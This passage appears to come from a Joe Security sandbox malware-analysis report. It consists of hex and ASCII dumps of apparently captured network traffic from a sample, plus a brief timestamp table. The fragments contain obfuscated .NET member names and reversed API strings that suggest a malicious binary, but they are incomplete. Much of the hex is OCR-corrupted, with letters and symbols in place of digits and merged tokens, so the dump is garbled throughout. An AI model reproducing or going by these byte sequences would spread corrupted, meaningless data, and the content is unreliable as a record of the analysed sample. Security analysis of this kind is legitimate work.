bc 99 7f fb de e9 dd ef f1 a7 33 95 e5 20 6d Ob 8e 8f 22 b9 0d a3 8a eb d5 al 52 d2 83 Ob el 7d 5d 86 89 27 d9 eb b1 07
e3 1d bc fa 46 ca 51 52 8e d6 Oe fO ac ec cb ec 9f dd b1 96 72 d5 d1 aa 48 8b 7e 64 3f e4 27 ff 4f dd 6¢ 70 98 76 56 42 c4
3b 97 cb c6 4d ce 8¢ 84 dc 2d cb 57 el bc d4 2b 56 da 09 27 54 12 1a 04 12 5¢ 54 3c c5 4e 91 69 ef 2¢ 24 f1 25 bd 98 e3
f2 d9fa le 78 ae c5 25 1c 03 81 e3 da c9 51 f2 ea

Data Ascii: [Y\UbYw3X%Lr_SI"WMcD@}Oc*hinb)/:$jtNOov~3 m"R}]'FQRrH~d?'OlpvVB;M-W+V'T\T<Ni,$%x%Q

Data Raw: 65 64 02 73 57 6e 65 14 f7 ac f1 d1 92 f5 ¢5 d8 88 a9 8b b3 5a 21 6f 34 3c ba 48 03 5d 9b 80 49 74 4e 1c 9a
d4 fe c5 e0 15 a0 fe 57 8¢ 50 b6 aa 66 ec 9c 94 38 7e 10 49 91 3f 08 fc 9a b0 69 84 b7 7b 64 86 2b 3e 74 3b 3f 26 2f e0 fb
4d 82 16 fe 23 60 8a 5b 49 00 ce 5b c9 45 2a 76 d0 e5 cd 71 d1 91 da 9d ea c0 20 61 28 c6 60 cb 87 04 3a 37 15 2a 57
95 f2 8b ce c2 de 47 Oa fa 8e 9a 96 b2 78 cb 7e 35 e6 a7 fc 01 ef 66 d8 d8 99 20 ea af 16 af 2a 14 de c9 21 ba 0a 35 84
d6 b2 41 84 66 16 4c d9 18 cd cd 00 f1 2b 4b d0 62 87 96 26 60 ea 6b 5e f4 a4 23 68 60 4f 82 8f a6 6b 52 ad f2 13 eb 13
43 a8 2b 9d €9 d6 07 ef 3e 34 b2 3d f9 1e 4f 46 75 ea 94 4f 9f ¢3 58 70 89 d5 72 c1 al 03 d5 48 50 35 d8 7b c7 d7 5e 67
04 8d 74 79 dc 15 50 fc 36 Oc 25 51 36 64 7e 25 b9 cc 04

Data Ascii: edsWneZ!04<H]ItNWP{8~1?i{d+>t;?&M# [I[E*vqg a(":7*WGx~5f *I5AfL+Kb& k #h OkRC+>4=0FuOXpr
HP5{"gtyP6%Q6d~%

Data Raw: 43 f3 fc 50 64 e5 a8 6¢ fc 65 €8 06 d8 b8 a7 e9 7f ca e2 b3 c8 5b ¢4 05 f3 7a 49 63 eb d8 0f 0d 78 57 63 8b 87
3845 e7 66 ad 54 93 67 11 c8 69 8a 29 5e 88 bb aa f4 26 57 78 93 ¢7 a8 06 3b 84 c1 39 71 ab a4 bb 2f 4b 77 9c 27 53
6d 57 4a df e3 8f 16 Oc d0 8a 63 af 50 d5 Oe c7 58 06 €0 4a 6b 47 32 93 02 d9 6e fd e0 56 3a ff f1 70 92 5¢ 15 01 47 6f 03
f4 2b 4a 95 d4 c9 dd 73 07 18 ef a7 1le ea €5 01 7a fc 37 28 16 al 49 d2 5f 73 f2 95 73 Oa 8c 59 4e d1 e3 62 18 a9 02 17
68 d5 a6 53 3f 1e 7b 7c d2 4e 6b f3 70 00 2a 5b 44 04 ad 8d b9 8e 42 d9 bf a7 cc 3f 2f 3f f1 75 1f 89 8f dc 34 18 2e 64 47
17 12 5e 1d db 51 d3 fe a5 13 ed 4a a5 f4 17 6¢ c4 a9 ea 24 5b d2 a0 49 d0 4b 63 7b 68 86 8d 8d b2 a0 33 f5 9a 85 56 ac
16 3c 6a d3 28 d3 4f b9 7a 9d f9 ef eb fd f8 06 9b

Data Ascii: CPdle[zlcxWCEBEFfTgi)*"&Wx;9a/Kw'SmWJIcPXIkG2nV:p\Go+Jsz7(l_ssYNbhS?{|Nkp*[DB?/?u4.dG QJI$[I
Kc{h3V<j(Oz
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Data

Data Raw: c9 26 45 ed 98 38 83 3b bb 56 f6 c4 2b 42 13 17 4a 26 1d 8c le f1 ee Ob 66 bf 51 ee be 65 19 Oe 10 Ob 63 34
6f 47 34 3a 73 e4 7c 08 7d bf 98 9d 19 2d 70 2e 2d d7 ea 2e 5a 2b f9 d6 c6 07 e2 3b a0 c6 29 e4 11 2d 63 76 eb 6¢ aa 9¢c
46 25 10 75 fa 7e d3 df 6¢ 30 cb a8 6b ae b1 83 8f 2¢ 90 cc 38 1f ea 1d d5 ef ba 70 b4 12 e1 51 95 4b Oc e5 11 35 b6 89
e4 d2 dé b7 c5 bd 47 27 33 df Oc fd f5 6¢ b3 01 17 73 7c ad e2 d9 c¢7 d3 33 93 02 Ob 4a 4b Ob be 10 85 ¢8 52 12 f5 16 51
b1 b5 27 ed 67 47 08 51 b4 ab 1e d1 7f e8 1c 0a 3c €0 25 61 67 ac 0f 51 65 e2 8b 0a 55 9e 63 9b 41 84 79 14 91 f2 2a c6
76 ef e8 ed 3d f6 7e 7b 9c 71 3c 3e 4c 20 9a bf 91 5¢ 0d 3f fc a6 d6 a3 cd d1 1b 29 60 3e 4a 6 8c 28 54 c0 3f b2 ed a2 1a
2f32 09 5b d5 al e5 5e 11 38 80 fb 22 2a 74 bb 72 9a

Data Ascii: &E8;V+BJ&fQec40G4:s|}-p.-.Z+;)-cvIF%u~l0k,8pQK5G'3Is|3IKRQ'gGQ<%agQeUcAy*v=~{q<>L \?)">J
(T?/2[8"*tr

Data Raw: 2b 62 0a 89 22 8f 70 38 b4 73 4e 02 f7 09 6d 36 71 9d 9c 39 0d fd ce 19 Oe fd €9 af bl 4d 69 64 99 85 48 9b
b6 a9 b7 7d 5f 7f 1c cd b2 bb f1 59 29 be 9b 64 aa 63 bf af 51 a0 85 85 bc b0 04 98 e7 79 72 3d 15 8e 28 cd 1f f3 50 81 fc
a9 59 07 d7 68 f3 f4 62 bb d8 b5 ac 26 dd f1 4e c8 cd 9e 8f 3d e4 d4 42 bd 33 66 86 ee 68 07 0a Of 5a 82 c5 7e 03 b7 65
68 57 14 da 54 47 92 af f5 c0 9d 10 d4 b5 cd f8 60 36 ed 33 15 5a fb 06 cc 17 d1 14 4d c2 de eb a5 56 23 dd 1b 17 48 d3
b5 23 00 ¢8 bf 07 52 06 81 53 95 43 cb 93 69 00 €9 10 67 fb 3f 22 70 03 f0 46 c6 60 73 1b eb 35 €3 5d ce 86 17 2f 8d 8e
94 91 02 67 15 4a bf 1f 5d 6e 3e df 0d 6f d7 81 b9 47 ae b8 96 b3 3b Oe 5a a8 6b e6 30 b9 ee fa 4c 2e 9f a5 f9 ae 00 d5
16 a9 4c c0 74 Oe c1 5b 09 a5 36 fb 32 36 66 46 bc 7c

Data Ascii: +b"p8sNm6q9MidH}_Y)dcQyr=(PYhb&N=B3fhZ~ehWTG 63ZMV#H#RSCig?"pF s5]/gJ]n>0G;ZKkOL.Lt[626fF|

Data Raw: 32 96 Ob 86 3d c2 cf de 9a 39 f9 ce 45 06 00 ff f1 31 b7 97 3f 35 2b 00 f0 87 b0 ef 98 13 cb ff 52 40 c4 eb la
d5 11 fa e8 cd 75 12 ea de 4c 80 5a 55 02 05 37 16 1a 2e 5d a0 18 05 a9 60 91 79 24 83 ac dd fO cc 1e 34 61 14 38 1c Oe
2919 b3 a7 d8 10 25 93 00 35 5d b1 29 9d f7 26 ¢3 dO 06 9c e6 ff 09 7d 96 57 f3 c6 ba df 85 cf 01 01 2b 35 ef c1 aa 83
laed 7f e9 51 50 bb 39 36 a7 5 59 75 7e dd 96 7e d6 4d 28 25 2b 5d ea a9 Oe cd 2c 4d cc cc cc 04 d9 c9 Oe a5 aa 07 fO
25 fd b7 b6 c6 0d f2 1a 63 54 8d 6e 23 a7 e3 ef fa 94 b9 58 11 8b f1 a5 ab 18 Oe 15 Oc c7 ec 74 68 73 c2 16 28 d7 64 e3
€350 el 85 0e 3a 24 25 c6 7f bl 1b 34 00 bd 15 c0 b1 93 13 9d 80 7e a5 68 5¢c 35 82 91 fb e0 40 dc 6¢ 86 4f cf 43 7e df
55 1b 49 a0 9d 27 14 ef 93 07 al 5d b7 33 70 ff ef dc

Data Ascii: 2=9E1?5+R@uLZU7.] y$4a8)%5])&IW+5QP96Y u~~M(%+],M%cTn#Xths(dP:$%4~h\5@I10C~UI']3p

Data Raw: 06 41 71 d5 f1 09 ef 1b 9a f9 cb 36 e5 f2 a6 11 af ef 42 8d 4c b5 d9 f1 7b 26 3d 8¢ 56 d5 eb €0 c5 65 13 ba b9
e4 60 f4 d4 91 ad b2 03 bf 9a 44 f6 27 b7 el 7f 2e 03 99 36 97 b6 e4 38 80 2e 83 8e 75 fc €6 03 90 63 c6 81 8e 55 f2 b2
b8 78 55 9d b2 a7 fd 16 fc ec a4 a7 5b da 78 f8 8¢ 10 3b 91 9b 91 44 5c ed 53 83 d1 da 73 8f 72 45 70 99 b1 bf f2 91 08
1c 09 66 76 df 25 9d ca 75 1le 43 3a 13 b1 74 17 66 d3 88 77 9a €8 f8 e1 82 63 f6 30 8a 19 c¢3 8c a6 31 d1 96 a2 fe a7 f8
10 9f 08 61 ea 73 ¢7 90 a0 ce 02 a5 e2 38 5a 19 05 8c ac f1 78 d6 8c 5¢ 6e 37 6e 87 a9 5f 2d c0 ad 1a ea db bl 5e cb ee
2b 83 59 d8 d4 be 76 88 53 b7 89 5e 3f 29 d9 5a 28 bb 8a 50 b2 cc 14 ee 6d 7b 8f 03 68 dd 31 08 1d 5b 70 72 b4 b6 64
fe 6a ad 4c f5 53 el 54 10 d4 d5 53 b4 4a 88 d5 2¢ 27 30

Data Ascii: Aq6BL{&=Ve D".68.ucUxU[x;D\SsrEpfv%uC:tfwc0las8Zx\n7n_-"+YvSA?)Z(Pm{h1[prdjLSTSJ,'0

Data Raw: c6 Oe 6e df 61 bl 67 fa bd 66 a5 26 c3 dc dc f3 81 18 1d 12 49 0d 54 de 2f c0 34 b1 99 94 19 ab 42 ea 95 48
91 9d 23 3c bb df d1 83 6a 27 56 71 c2 81 76 44 bd d3 1b ec 44 d4 f1 be bb 85 5b 68 3e a4 01 41 75 a9 7b al 4f 25 9f 6¢
04 54 3b 98 ce 2b a3 83 7d c8 2a 01 bf 6a bd bf b9 00 80 05 7d 39 aa 32 46 db ad 81 e7 78 3d 6¢ 99 9c 8e 85 b8 28 bd
4b a8 9c 6 42 e4 3f 09 b2 77 56 71 2f a8 7e bc ec fd a9 27 2d dO f2 1e 09 b1 06 45 e3 cf 3b 62 41 98 5f a7 Oe d4 75 06 cf
88 9a 6b f7 9e 2d 43 ¢7 37 50 63 18 dc ec 96 2d c4 90 04 3f ef d7 c9 ff 58 8e f9 54 c¢7 70 fe a5 ea 12 e0 d7 5¢c 56 c3 71 ce
a2 bc f6 el 1le 23 49 a2 99 a5 60 5e eb 36 31 15 2a 37 8b fd a9 67 31 16 66 e2 7c dd f1 43 ac b3 e8 4f 75 70 24 73 19 67
3b 5c 82 4d 2d ¢3 c7 a3 15 4c e3 04 df 95 9¢c 39 a9 al

Data Ascii: nagf&IT/4ABH#<|'VqvDD[h>Au{O%IT;+}*j}92Fx=I(KB?wVq/~"-E;bA_uk-C7Pc-?XTp\Va#l *61*7g1f|[COup$sg;\M-
L9

Data Raw: e5 1d Oa e9 5d 61 fc 3b 65 b4 ea 57 66 7b 81 63 bf f6 ee e1 37 2f 18 f9 Oc 45 54 70 13 fe fd b6 76 6a b7 3e 58
66 dc 47 38 4e de b4 f9 38 10 6d 99 df cf 21 cd dc 9e f9 d2 98 ff 25 e2 97 d5 96 88 a6 77 7e 35 ¢6 39 dd 03 64 {7 19 24
68 d4 93 1a 8d bc 49 da al 17 50 ff 3e 1d 13 3¢ 4b 85 fc 70 b4 c9 11 ef d6 52 e4 cf 5f 3e 33 b4 Oe e3 d4 06 3d 53 05 5f
b3 a2 af 9a 1b 4d 6f 9f 38 b9 db 32 3a 1a ca 2a 0a c2 78 e7 le 5b 75 c5 41 ff 72 8¢ 68 de 2b dd 71 d0 09 5¢ 21 df 33 b9
7d 27 3d ea 7a 23 e0 c2 58 72 ee ab 7b 75 2c f5 8b 4f 78 e7 62 bb 3b d5 59 41 b8 68 13 45 cd 2a 48 a5 1e 40 a8 66 68
40 14 6d b1 e6 6b 8 f1 72 b2 9f c3 e8 43 be d4 9e 25 20 dc 66 38 07 dc 5b 23 06 19 db d8 52 de ba 85 35 cd 06 3b 9d a0
1d 46 76 15 16 55 a2 13 29 b1 5¢ 5b 8f 2¢ ¢3 38 27 15 47

Data Ascii: Ja;eWf{c7/ETpvj>XfGBN8m!%w~59d$hIP><KpR_>3=S_Mo082:*x[uArh+q\!I3}'=z#Xr{u,Oxb;YAhE*H@fh@mk
rC% f8[#R5;FVU)\[,8'G

Data Raw: 6¢ 4b 37 67 07 71 40 01 d2 49 ea cc f0 dc fc c0 ef 11 eb 19 02 3 53 b7 ¢7 03 85 94 a9 fa 8f 06 38 €3 e6 €8 Oe
28 6e 2b 15 43 79 07 b2 4f f2 3¢ 64 88 ce 85 3 ¢8 79 d5 9c €3 9b 26 el f1 ee ¢9 40 cb 60 52 2e 4 Ob c1 3b 00 fd 9f 2¢ 73
9b b8 b4 4f 02 41 b2 39 Oc d3 26 d6 43 ee 9f 2b 04 52 2 b2 18 de e2 36 58 fe 3e 6d 7d 3e 92 e4 a2 28 43 2e 7c 13 8¢ a5
4a al da Oc Ob 23 19 eb 08 98 b8 c2 5c eb 27 57 84 a0 f1 b8 df 1f e3 57 aa 86 63 4a c3 2a e5 0 d3 8¢ 37 e9 4f 7 f9 dO 1f
97 df e3 1d el 71 d4 3c 47 8b b3 94 34 eb ff 19 89 3c de ed 05 c8 13 b2 68 4¢ 60 16 73 15 60 ba 98 11 72 84 13 1e 7a a2
18 88 6d 8 8b 2b a3 b2 c7 16 c8 a6 03 46 84 1a 00 f0 45 f5 2d 94 el fc 2a 94 11 f4 89 35 57 22 34 Oe 9f Of 1f 5b bf 82 Oa

77 27 ¢9 38 39 a5 7a 51 22 67 64 11 b0 74 72

Data Ascii: IK7gq@IS8(n+CyO<dy&@'R.;,SOA9&CHR 6X>m}>(C.| I WWcI*700<G4<hL’s rzm+FE-*5W"4[w'89zQ"gdtr

Data Raw: 6¢ da ee Oa 7d ac 3e 59 3c 11 fO 04 8f bc 43 f9 89 21 75 a0 83 73 ed 09 4d dd 2a 44 5c 4c 60 d4 4e e2 2e 4e
ea 9a 6e 3c cd cc 94 90 fO 90 e4 de 9e 87 68 8d 00 dc 20 e4 b7 b4 63 3b b0 86 55 d7 25 fc 27 aa 1a 2b 77 28 cf 05 9d 85
08 a0 41 dc bb b3 5f 68 b8 08 f0 18 80 6e be 2e 4a 60 36 2f fc a4 b5 e6 b3 72 f6 c2 56 7f 50 d5 92 Oc 73 8 5d 9f 98 ¢5 13
95 bc db 03 03 e7 31 f0 47 79 ab 70 9a f2 21 82 36 02 89 a7 54 65 99 9b da fe ca 54 6a 37 e2 ac 94 52 98 27 b4 22 c5 47
15 f6 e0 27 82 63 f0 31 17 c2 97 56 f2 e7 ¢8 bf 19 f5 85 75 99 d2 47 {3 €3 87 53 €7 94 f4 f8 3d 00 86 1f 09 ae 5b 08 eb ca
0d Ob 1c e0 8b 8d 0f 41 24 45 e7 f7 83 12 b0 3e d6 42 82 al a9 3d d8 fa 97 Oc d5 3e Of 14 9b 37 7f 6¢ Ob 2b ab 32 62 b5
66 5 85 55 2f 19 cd 9d 67 Of ea 48 bb 19 7e d6 53

Data Ascii: [}>Y<ClusM*D\L'N.Nn<h c;U%'+w(A_hn.J 6/rVPs]1Gyp!6TeTj7R"G'c1VUGS=[A$SE>B=>7I+2bfU/gH~S

Data Raw: 46 c1 94 53 d2 17 3¢ 31 32 1a 37 3d Oe c1 28 73 9d Oe 81 84 b7 1a fb d9 48 €9 d0 01 ac 35 e7 16 59 65 78 a6
74 faac 2d 36 51 06 75 b9 6a 21 7a ea 30 25 da cc 17 3d 75 6f 3b Oa e9 da 3c 80 d8 82 da 6¢ 9e 3a 91 87 83 a7 ed 07 dc
5 55 36 16 92 c6 72 6b 66 06 88 ce f6 2b 09 2d aa 27 1e 8b 36 b2 Oe dd 27 cO ba Oe 34 1f 80 f6 4a 10 9a df 2e b3 30 ff
3582 49 0d de d8 9d ac 64 1a 02 95 32 11 77 58 7b fc af dd 06 12 3c ab 40 5¢ 18 59 al c1 cd dc b9 ca c0 26 5a c9 db 33
ac 20 f7 be 9a 59 cf 6f 5d 01 09 71 d2 a9 99 74 43 46 31 37 d5 5f f0 el b0 89 2f dO 8f 2f 04 e4 d7 de c2 28 66 4a c8 96 66
4c 2c¢ bf 59 fe 87 aa al e4 67 5e 15 8e 71 9c bc e7 6¢ e0 76 48 d7 27 a0 f9 79 b6 18 68 d2 80 9b e5 7c 70 86 12 56 b0 3e
c5 3d 24 13 7 28 3f fd d4 d2 c5 d4 83 cd 3f 1e b3 6a

Data Ascii: FS<127=(sH5Yext-6Quj!z0%=u0;<l:U6rkf+-'6'4J.051d2wX{<@\Y&Z3 Yo]qtCF17_//(fIfL,Yg"qlvH'yh|pV>=$(??j

Data Raw: 03 17 ca 28 27 f4 ca 63 eb a6 48 d7 7c 9e d0 76 fa cO ec 4d 12 cf f5 9b 06 3c dd Oc b3 5b 08 09 7e a2 64 1c 98
8199 d6 10 ac 8595 9c d9 dd fa e4 71 e4 4b e0 06 1d 63 41 44 21 8c 41 bf 25 ec 51 cb 25 a3 fa 8e 65 98 Oa 7a 80 2f a2
eb5 77 88 8d ff 24 c5 28 8f a0 f3 63 62 2b 85 74 Oe dc a8 ff b9 1d Oa 5e 82 b2 4c 1b 98 a8 a6 a7 6b 25 04 1c 07 46 c1 50
99 6a ec 95 be 37 ef 48 5¢ 5a 3d f9 39 29 ff 9b 42 91 72 3 Oa e7 bd eb 05 b1 98 35 5a 09 ba 81 90 28 8b d7 c8 de c7 f2
d8 fc 0a 1c 51 67 el el 15 e3 82 b8 70 40 76 7d 95 fa 57 9f 3a b7 eb 89 6a 8e de 3f 67 fe fe 6a ba d2 05 05 86 f8 2c 43
9d 71 1518 0d 11 1b 78 e8 6b 2e f5 29 98 5e 25 e7 83 f2 el 1e ab a8 f8 e7 2c 83 2b 9b el 4a 39 f4 ee 2f 22 94 a8 99 2f
e1 90 94 e4 96 63 d0 85 6d a9 aa a0 15 ec e0 2c fO cd

Data Ascii: (‘'cH|vM<[~dqKcAD!A%Q%ez/w$(cb+t"Lk%FPj7H\Z=9)Br5Z(Qgp@V}W:j?gj,Caxk.)"%,+J9/"/cm,
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 2767 IN
2022-05-02 11:03:15 UTC 2783 IN
2022-05-02 11:03:15 UTC 2799 IN
2022-05-02 11:03:15 UTC 2815 IN
2022-05-02 11:03:15 UTC 2831 IN
2022-05-02 11:03:15 UTC 2847 IN
2022-05-02 11:03:15 UTC 2863 IN
2022-05-02 11:03:15 UTC 2879 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 02 02 10 e8 84 12 4583 12 bc 85 12 01 07 00 13 02 02 02 10 e8 84 12 45 83 12 bc 85 12 01 06 20 10 18 90
12 06 04 14 90 12 1c bd 80 12 02 00 09 14 90 12 06 04 10 90 12 bd 80 12 b9 80 12 02 00 Ob bd 80 12 b9 80 12 01 20 08
1090 12 06 04 Oc 90 12 bd 80 12 1d bd 80 12 1c 01 04 00 Oe bd 80 12 1d bd 80 12 1c 01 03 20 0b Oc 90 12 06 04 08 90
12 08 1c 08 03 00 08 08 1c 08 02 20 05 08 90 12 06 04 04 90 12 b8 83 11 08 6¢ 84 12 1c¢ 01 05 00 Oe b8 83 11 08 6¢ 84
12 1c 01 04 20 Ob 04 90 12 06 04 00 90 12 b8 83 11 bd 80 12 08 68 84 12 1c 1c 06 00 11 b8 83 11 bd 80 12 08 68 84 12
1c 1c 05 20 Oe 00 90 12 06 04 fc 8f 12 1c 02 02 00 07 fc 8f 12 06 04 f8 8f 12 02 dc 85 11 1c 01 04 00 Ob f8 8f 12 06 04 f4
8f 12 f4 85 12 bd 80 12 1c 01 04 00 0d f4 8f 12 06 04 f0 8f 12 1c 02

Data Ascii: EE Il hh

Data Raw: 11 15 01 20 84 12 15 0b 1c 00 1e 05 01 29 84 11 15 00 1e 03 01 30 Oe 65 81 12 01 20 84 12 15 08 1c 00 1e
658112 00 1e 03 01 30 0b 70 84 12 70 84 12 02 07 08 1c 70 84 12 01 00 06 08 bd 80 12 Oe 08 bd 80 12 bd 80 12 06 07
0Oe 3d 81 12 bc 85 12 Oe bd 80 12 03 00 Oc 3d 81 12 Oe bd 80 12 02 20 09 bd 80 12 89 83 12 01 20 08 b8 85 12 01 Oa 05
b8 85 12 b8 85 12 b8 85 12 03 07 Ob b8 85 12 01 01 20 06 bd 80 12 08 08 Oc 84 11 bd 80 12 05 07 0d 02 02 02 bd 80 12
02 04 20 09 Oe bd 80 12 01 00 06 Oe bc 85 12 bd 80 12 02 00 09 b4 85 12 b8 85 12 02 07 08 bd 80 12 bc 85 12 Oe 02 00
09 bd 80 12 0e 02 07 06 bd 80 12 bd 80 12 01 02 00 09 05 1d 6¢ 84 12 68 84 12 61 81 12 08 08 05 1d 1c 6¢ 84 12 68 84
12 61 81 12 08 bd 80 12 0d 07 1f 02 c8 85 11 bd 80 12 02 71 81 12 15 02 07

Data Ascii: )0e eOppp==lhalhaq

Data Raw: 00 28 05 74 81 12 00 28 05 08 00 28 03 e8 81 12 00 00 05 Oe 1d 01 01 20 05 Oe 1d 00 20 04 34 83 11 01 01
2006 34 83 11 00 20 05 60 82 12 01 01 20 06 60 82 12 00 20 05 44 83 12 01 01 20 06 44 83 12 00 20 05 74 81 12 01 01
2006 74 81 12 00 20 05 e8 81 12 06 04 34 83 11 06 04 60 82 12 06 04 44 83 12 06 04 e4 81 12 00 00 05 e4 81 12 06 04
€081 12 00 00 05 29 81 12 Oe 02 07 06 Oe 29 81 12 01 00 06 €0 81 12 06 04 dc 81 12 00 00 05 ad 82 11 01 01 20 06 a9
821102012006 al 82 12 01 01 20 06 al 82 12 00 00 05 02 02 Oe 03 07 05 02 02 02 03 07 05 25 81 12 00 20 05 59 82
12 02 02 07 06 59 82 12 00 00 05 dc 81 12 06 04 59 82 12 06 04 d8 81 12 00 00 05 02 02 08 02 Oe Oe 06 07 08 d8 81 12
06 04 d4 81 12 00 00 05 05 1d 99 82 12 61 81 12 61 81 12 04 07 0d d4 81 12

Data Ascii: (t( 44" "DDtt4'D)) % YYYaa

Data Raw: 45 76 56 33 48 00 4e 72 4b 43 75 37 76 73 53 44 00 70 56 51 59 36 36 76 32 6d 43 00 5a 53 30 43 48 32 76
47 56 67 00 6¢ 68 36 33 72 72 76 55 55 69 00 55 59 58 52 48 69 76 70 68 59 00 72 4e 6f 61 75 57 76 59 56 41 00 67 70
69 42 50 7a 58 66 65 70 00 68 4b 68 50 6b 75 58 39 62 6a 00 55 65 69 53 64 53 58 41 35 71 00 4e 32 72 77 63 56 58 6f
48 58 00 62 56 77 76 33 54 58 69 4a 42 00 52 62 42 6d 65 34 58 44 67 54 00 68 46 78 6e 36 79 58 45 42 56 00 66 35 48
4f 45 63 58 71 76 4c 00 4f 4c 53 58 65 6e 58 6d 5a 44 00 75 54 49 45 38 62 58 75 68 63 00 65 70 61 56 77 76 58 46 56
6800337233 757174587476 69006251 34 41 6a 65 58 63 38 64 00 56 56 44 48 46 66 58 36 58 56 00 69 70 49 6b
6e 71 58 62 74 50 00 36 54 6b 70 53 5a 58 31 70 69 00 4b 5a 37 44 50 50 58

Data Ascii: EVW3HNrKCu7vsSDpVQY66v2mCZS0CH2vGVglh63rrvUUIUYXRHivphYrNoauWvYVAgpiBPzXfephKh
PkuX9bjUeiSdSXA5gN2rwcVXoHXbVwv3TXiJBRbBme4XDgThFxn6yXEBVSHOEcXqvLOLSXenXmZDuTIE8bXuhcepa
VwvXFVh3r3ugtXtvibQ4AjeXc8dVVDHFX6XViplkngXbtP6 TkpSZX1piKZ7DPPX

Data Raw: 65 6¢ 00 76 61 6e 58 37 31 55 70 6a 6a 00 6b 77 46 77 51 34 55 4c 39 77 00 47 58 48 39 39 6d 55 31 6d 6b
00 64 51 77 75 4d 79 55 57 66 4f 00 4c 36 46 71 67 4a 55 6a 4f 43 00 39 31 52 36 43 63 55 56 77 71 00 6f 49 43 67 4c 43
55 77 36 41 00 31 47 6b 36 4b 6e 55 71 74 65 00 6e 77 68 43 77 48 55 54 44 4f 00 41 42 67 6¢ 4c 62 55 36 73 57 00 41
34 45 39 76 49 55 57 5a 71 00 63 43 79 6e 35 76 55 34 77 76 00 4c 44 56 53 51 58 55 6e 4f 68 00 52 69 37 69 37 74 55
72 69 4e 00 49 49 4e 72 46 77 55 74 56 55 00 47 5a 53 6a 61 65 55 41 53 51 00 77 77 4e 76 32 6b 55 71 48 55 00 4b 77
50 74 6a 66 55 5a 32 78 00 48 45 36 37 36 41 55 79 58 79 00 6e 66 50 59 77 71 55 6b 6e 70 00 48 63 78 70 47 39 55 74
61 4f 00 38 6d 59 65 42 5a 55 74 76 6b 00 71 30 78 70 74 4f 55 38 62 79

Data Ascii: elvanX71UpjjikwFwQ4UL9wWGXH9I9mU1mkdQwuMyUWfOL6FqgJUjOC91R6CcUVwWqolCgLCUWBA1GKEKN
UqgtenwhCwHUTDOABGgILbUBSWA4E9vVIUWZgcCyn5vU4wvLDVSQXUNORI7i7tUriNIINrFwUtVUGZSjaeUASQwwNv2k
UgHUKwWPLjfuZ2xHE676AUyXynfPYwqUknpHcxpG9UtaO8mYeBZUtvkqOxptOU8by

Data Raw: 61 00 42 52 57 32 66 39 79 62 54 68 76 35 37 57 6a 67 57 6e 52 68 00 64 61 65 68 00 4f 74 57 52 59 30 64
6e 6d 4b 00 6d 65 74 49 00 77 78 73 58 64 76 47 78 6b 4b 6a 72 37 57 6a 48 48 73 6d 74 00 6f 32 76 4b 76 4b 33 74 77
57 57 44 37 57 33 58 73 47 76 75 00 74 73 61 4c 65 76 6f 6d 65 52 00 46 6b 41 66 35 58 57 72 34 77 34 69 37 57 59 78
4c 6f 53 54 00 4f 56 32 63 44 6b 46 4a 6b 73 52 38 51 57 47 39 61 57 56 50 00 32 6d 57 4c 37 42 45 52 31 30 42 53 51
57 68 57 43 42 6¢ 4e 00 76 76 51 6¢ 37 77 35 4f 6f 71 5a 59 51 57 63 76 31 44 39 62 00 6f 79 52 6f 70 51 37 44 51 4a 00
74 6567 72 61 54 00 65 70 79 54 65 74 75 62 69 72 74 74 41 00 34 32 73 4c 48 6¢ 58 69 6f 6f 48 4c 37 57 6f 55 5a 59 30
4f 00 53 57 76 75 67 34 73 77 6¢ 54 78 57 37 57 4d 6d 34 6b 57 54 00

Data Ascii: aBBRW2f9ybThv57WjgWnRhdaehOtWRYO0dnmKmetlwxsXdvGxkKjr7WjHHsmto2vKvK3twWWD7W3XsGv
utsal.evomeRFKASXWrdw4i7WYxLoSTOV2cDkFIksR8QWG9aWVP2mWL7BER10BSQWhWCBINwWQI7w500
qZYQWcv1D9boyRopQ7DQJtegraTepyTetubirttA42sLHIXiooHL7WoUZY0O SWvugdswiTXW7WMm4kWT

Data Raw: 53 00 67 70 34 6d 36 51 74 54 79 48 51 77 51 57 74 54 54 75 33 41 00 31 70 61 72 77 5f 5f 37 3e 3c 00 6e 6f
74 65 6¢ 67 6e 69 73 00 64 49 64 61 65 72 68 54 6¢ 61 69 74 69 6e 69 5f 5f 6¢ 3e 3¢ 00 74 6e 65 72 72 75 63 5f 5f 32 3e
3c 00 65 74 61 74 73 5f 5f 31 3e 3c 00 49 5a 39 4e 6f 37 69 67 39 76 61 50 35 57 6¢ 66 41 38 67 64 00 72 34 57 64 68
38 6¢ 34 4a 75 35 78 35 57 32 38 38 63 5a 4e 00 65 75 6¢ 61 56 64 6e 65 74 78 45 64 6e 65 70 70 41 00 67 61 54 64 65
6e 69 66 65 44 77 6f 6¢ 6¢ 61 5f 5f 33 3e 3¢ 00 6e 6f 74 65 6¢ 67 6e 69 73 5f 5f 33 3e 3¢ 00 74 61 6d 72 6f 66 5f 5f 33 3e
3c 00 67 61 74 5f 5f 33 3e 3¢ 00 65 63 6e 61 74 73 6e 69 5f 5f 33 3e 3¢ 00 73 65 75 6¢ 61 56 64 65 64 6e 65 74 78 45 74
65 47 00 32 38 6b 49 75 66 79 33 38 34 64 68 35 57 4d 33 72

Data Ascii: Sgp4m6QtTYyHQWQWITTu3Alparw__ 7><notelgnisdldaerhTlaitini__|><tnerruc__2><etats__1><IZ9No7
ig9vaP5WIfA8gdr4Wdh8I4Ju5x5W288cZNeulaVdnetxEdneppAgaTdenifeDwolla__3><notelgnis__3><tamrof__3><gat_
_3><ecnatsni__3><seulaVdednetxEteG28klufy384dh5WM3r

Data Raw: 45 4d 43 76 74 67 59 00 79 6¢ 62 6d 65 73 73 41 67 6e 69 74 73 65 75 71 65 52 5f 74 65 67 00 73 67 72 41 74
6e 65 76 45 65 76 6¢ 6f 73 65 52 00 71 62 74 45 67 58 43 68 69 00 65 76 6¢ 6f 73 65 52 65 63 72 75 6f 73 65 52 5f 64 64
6100 72 65 6¢ 64 6e 61 48 74 6e 65 76 45 65 76 6¢ 6f 73 65 52 00 79 6¢ 62 6d 65 73 73 41 5f 74 65 67 00 4b 68 54 4a
4d 64 4d 65 6a 6d 58 6f 75 54 36 38 4a 70 65 00 44 6e 35 64 4a 6e 75 4a 42 00 32 60 79 72 61 6e 6f 69 74 63 69 44 00
65 6¢ 69 74 61 6¢ 6f 56 73 49 00 34 36 31 56 6b 48 50 43 72 00 67 55 52 6d 4c 62 55 71 73 00 45 42 52 57 55 58 47 35 6
a64 32 4e 7572 6d 6¢ 44 50 42 00 65 64 6a 32 32 78 6e 50 6¢ 78 36 6a 75 77 32 79 77 6d 55 00 65 7a 69 6¢ 61 69 72
